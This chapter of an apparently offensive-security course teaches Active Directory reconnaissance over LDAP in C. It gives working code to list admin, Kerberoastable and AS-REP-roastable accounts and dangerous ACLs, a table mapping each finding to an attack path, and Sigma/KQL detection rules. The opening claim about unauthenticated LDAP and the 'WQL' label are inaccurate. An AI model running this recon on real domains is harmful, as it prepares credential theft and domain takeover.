Chapter 144

Active Directory Enumeration via LDAP

Every domain-joined host can read most of Active Directory with unauthenticated (or null-session) LDAP queries. This chapter covers direct LDAP queries from C — finding domain controllers, enumerating users with adminCount=1, finding Kerberoastable service accounts, pulling DACL ACEs to find GenericAll paths, and querying ACLs on AD objects — without SharpHound, BloodHound, or any third-party binary.

Scenario

You have SYSTEM on a domain-joined workstation. The SOC has blocked all PowerShell execution (CLM + AppLocker). You can execute C code in-process. You need the following from AD without running SharpHound: (a) all Domain Admin group members, (b) all users with ServicePrincipalName set (Kerberoast targets), (c) all users where DONT_REQUIRE_PREAUTH is set (AS-REP roast targets), and (d) any account with GenericAll over a privileged group. All via LDAP, all in-process.

LDAP Primer for AD Querying

Active Directory LDAP tree: Root DSE (ldap://dc01.corp.local) └── DC=corp,DC=local ← BaseDN / defaultNamingContext ├── CN=Users ← default user container ├── OU=Workstations ← OUs (organizational units) ├── CN=Computers └── CN=Configuration ← forest config partition Common WQL filter syntax: All user objects: (objectClass=user)(objectCategory=person) AdminCount elevated accounts: (adminCount=1) Kerberoastable (has SPN): (&(objectClass=user)(servicePrincipalName=*)) AS-REP roastable (no preauth): (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)) Domain Admins members: (memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local) Disabled accounts: (userAccountControl:1.2.840.113556.1.4.803:=2) Computers with unconstrained deleg: (&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)) userAccountControl bitmask (key flags): 0x0002 = ACCOUNTDISABLE 0x0010 = LOCKOUT 0x0020 = PASSWD_NOTREQD 0x0200 = NORMAL_ACCOUNT 0x80000 = TRUSTED_FOR_DELEGATION (unconstrained) 0x400000 = DONT_REQUIRE_PREAUTH 0x800000 = PASSWORD_EXPIRED

Full LDAP User Enumeration Function

#include "windows.h"
#include "winldap.h"
#include "stdio.h"
#pragma comment(lib, "wldap32.lib")

typedef struct {
    const char* dc;       // DC hostname
    const char* baseDN;   // e.g. "DC=corp,DC=local"
    const char* filter;   // LDAP filter string
    char**      attrs;    // requested attributes (NULL-terminated)
} LDAPQueryArgs;

BOOL LdapQuery(LDAPQueryArgs* q,
                void (*callback)(LDAP* ld, LDAPMessage* entry)) {
    LDAP* ld = ldap_init((PSTR)q->dc, LDAP_PORT);
    if (!ld) { printf("[-] ldap_init failed\n"); return FALSE; }

    // Bind using current process security context (Kerberos/NTLM via SSPI)
    ULONG err = ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
    if (err != LDAP_SUCCESS) {
        printf("[-] ldap_bind_s: %s\n", ldap_err2string(err));
        ldap_unbind(ld);
        return FALSE;
    }
    LDAPMessage* result = NULL;
    err = ldap_search_s(ld, (PSTR)q->baseDN, LDAP_SCOPE_SUBTREE,
                        (PSTR)q->filter, q->attrs, 0, &result);
    if (err != LDAP_SUCCESS) {
        printf("[-] ldap_search_s: %s\n", ldap_err2string(err));
        ldap_unbind(ld);
        return FALSE;
    }
    LDAPMessage* entry = ldap_first_entry(ld, result);
    while (entry) {
        callback(ld, entry);
        entry = ldap_next_entry(ld, entry);
    }
    ldap_msgfree(result);
    ldap_unbind(ld);
    return TRUE;
}

// Helper: print sAMAccountName from an entry
void PrintSamAccountName(LDAP* ld, LDAPMessage* entry) {
    PCHAR* vals = ldap_get_values(ld, entry, "sAMAccountName");
    if (vals && vals[0]) printf("  [*] %s\n", vals[0]);
    ldap_value_free(vals);
}

AdminCount=1 and Domain Admin Hunt

void EnumAdminAccounts(const char* dc, const char* baseDN) {
    printf("[*] Accounts with adminCount=1 (SDProp elevated):\n");
    char* attrs[] = { "sAMAccountName", "userAccountControl", "memberOf", NULL };
    LDAPQueryArgs q = { dc, baseDN,
                        "(&(objectClass=user)(adminCount=1))",
                        attrs };
    LdapQuery(&q, PrintSamAccountName);
}

// More detailed callback: print name + memberOf
void PrintUserWithGroups(LDAP* ld, LDAPMessage* entry) {
    PCHAR* name = ldap_get_values(ld, entry, "sAMAccountName");
    PCHAR* groups = ldap_get_values(ld, entry, "memberOf");
    if (name && name[0]) {
        printf("  [USER] %s\n", name[0]);
        if (groups) {
            for (int i = 0; groups[i]; i++)
                printf("          memberOf: %s\n", groups[i]);
        }
    }
    ldap_value_free(name);
    ldap_value_free(groups);
}

Kerberoastable SPN Discovery

void EnumKerberoastTargets(const char* dc, const char* baseDN) {
    printf("[*] Kerberoastable service accounts (SPN set, user object):\n");
    char* attrs[] = { "sAMAccountName", "servicePrincipalName",
                       "pwdLastSet", "userAccountControl", NULL };
    LDAPQueryArgs q = { dc, baseDN,
        "(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))",
        attrs };
    LdapQuery(&q, PrintSpnEntry);
}

void PrintSpnEntry(LDAP* ld, LDAPMessage* entry) {
    PCHAR* name = ldap_get_values(ld, entry, "sAMAccountName");
    PCHAR* spns = ldap_get_values(ld, entry, "servicePrincipalName");
    PCHAR* uac  = ldap_get_values(ld, entry, "userAccountControl");
    if (name && name[0]) {
        DWORD uacVal = uac && uac[0] ? (DWORD)atol(uac[0]) : 0;
        printf("  [SPN] %-30s UAC=0x%X%s\n",
               name[0], uacVal,
               (uacVal & 0x10000) ? " [DONT_EXPIRE_PASSWD]" : "");
        if (spns) {
            for (int i = 0; spns[i]; i++)
                printf("          SPN: %s\n", spns[i]);
        }
    }
    ldap_value_free(name);
    ldap_value_free(spns);
    ldap_value_free(uac);
}

void EnumAsrepRoastTargets(const char* dc, const char* baseDN) {
    printf("[*] AS-REP roastable (DONT_REQUIRE_PREAUTH set):\n");
    char* attrs[] = { "sAMAccountName", NULL };
    LDAPQueryArgs q = { dc, baseDN,
        "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
        attrs };
    LdapQuery(&q, PrintSamAccountName);
}

ACL / DACL Enumeration

// Query nTSecurityDescriptor on a specific AD object to extract ACEs.
// GenericAll or WriteDACL over a privileged group = path to DA.
// Requires LDAP control to include security descriptor in results.

void PrintDaclAces(LDAP* ld, LDAPMessage* entry) {
    // nTSecurityDescriptor is a binary blob — BerVal
    struct berval** bvals = ldap_get_values_len(ld, entry, "nTSecurityDescriptor");
    if (!bvals || !bvals[0]) return;

    PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)bvals[0]->bv_val;
    PACL pDacl = NULL; BOOL present, defaulted;
    GetSecurityDescriptorDacl(pSD, &present, &pDacl, &defaulted);
    if (!present || !pDacl) { ldap_value_free_len(bvals); return; }

    ACL_SIZE_INFORMATION aclInfo = {0};
    GetAclInformation(pDacl, &aclInfo, sizeof(aclInfo), AclSizeInformation);

    for (DWORD i = 0; i < aclInfo.AceCount; i++) {
        ACE_HEADER* ace;
        GetAce(pDacl, i, (void**)&ace);
        if (ace->AceType != ACCESS_ALLOWED_ACE_TYPE) continue;

        ACCESS_ALLOWED_ACE* allow = (ACCESS_ALLOWED_ACE*)ace;
        // Check for GenericAll (0x10000000) or WriteDACL (0x00040000)
        if (allow->Mask & (0x10000000 | 0x00040000)) {
            char sidStr[256]; DWORD sz = sizeof(sidStr);
            char domBuf[256]; DWORD dz = sizeof(domBuf);
            SID_NAME_USE use;
            LookupAccountSidA(NULL, &allow->SidStart, sidStr, &sz, domBuf, &dz, &use);
            printf("  [ACE] %s\\%s  MASK=0x%08X%s%s\n",
                   domBuf, sidStr, allow->Mask,
                   (allow->Mask & 0x10000000) ? " [GenericAll]" : "",
                   (allow->Mask & 0x00040000) ? " [WriteDACL]" : "");
        }
    }
    ldap_value_free_len(bvals);
}
LDAP FilterFindsAttack Path
(adminCount=1)All accounts under SDProp (DA, EA, BA members)Kerberoast / spray high-value accounts
(&(objectClass=user)(servicePrincipalName=*))All Kerberoastable accountsTGS-REP crack offline → plaintext password
userAccountControl & 0x400000AS-REP roastable (no preauth)AS-REP without creds → offline crack
(userAccountControl & 0x80000)Unconstrained delegation computersWait for DA to connect → capture TGT via Rubeus
nTSecurityDescriptor ACE=GenericAllObjects grantable full control to non-adminsShadow credentials / DACL abuse → domain takeover

Detection Engineering

-- AD LDAP recon is the most common pre-Kerberoast activity.
-- Key detection: volume and specificity of LDAP queries from workstations.

title: LDAP Query for adminCount=1 from Non-Server Host
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: '%{bf967aba-0de6-11d0-a285-00aa003049e2}'  # user class
    Properties: 'adminCount'
  filter_server:
    SubjectUserName|endswith: '$'   # machine accounts
  condition: selection AND NOT filter_server
level: medium

title: Kerberoastable Account Enumeration (SPN LDAP Query)
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4661    # object access (can be noisy — tune to DC only)
    ObjectName|contains: 'servicePrincipalName'
  condition: selection
level: medium

-- MDE KQL: LDAP queries for high-value filters from workstations
DeviceEvents
| where ActionType == "LdapSearch"
| where AdditionalFields has_any (
    "adminCount", "servicePrincipalName", "DONT_REQUIRE_PREAUTH",
    "TRUSTED_FOR_DELEGATION", "nTSecurityDescriptor")
| where DeviceType == "Workstation"
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessAccountName, AdditionalFields
| order by Timestamp desc

Q&A

How do modern AD environments restrict anonymous or low-privileged LDAP queries, and how does an attacker work around those restrictions?

A default Active Directory configuration grants all Authenticated Users read access to the vast majority of the directory. Any domain account — including low-privileged domain users or computer accounts — can read most object attributes including sAMAccountName, memberOf, servicePrincipalName, userAccountControl, and adminCount. This is by design: Windows components themselves rely on this access. The standard "restriction" many organizations apply is blocking the attribute nTSecurityDescriptor from non-privileged reads, which limits ACL-based recon. Some organizations also deploy AD Tiering and fine-grained group policy to restrict specific LDAP attributes, but this is uncommon and difficult to maintain at scale.

Microsoft's "Protected Users" group adds an additional layer — users in Protected Users cannot be Kerberoasted (Kerberos tickets use AES only, and the user's session key is not in the TGS-REP in the normal way) and cannot use NTLM authentication. However, this does nothing to prevent enumeration of those users' attributes via LDAP.

From the attacker's perspective, the primary workaround for any restrictions is lateral privilege: even a single helpdesk-tier account typically has enough read access to perform all enumeration described in this chapter. Organizations that deploy Windows Event ID 4662 auditing (DS object access) can detect enumeration at the DC, but this event is extremely noisy and most SOC teams filter or threshold it. The practical defense for LDAP enumeration is the same as for any reconnaissance: anomaly detection on the volume and specificity of queries, and network segmentation that ensures workstations cannot reach DC port 389/636 at all (force all LDAP through a dedicated management jump host). A workstation that should never be talking directly to an LDAP port is a simpler policy to enforce than trying to differentiate legitimate from malicious LDAP queries.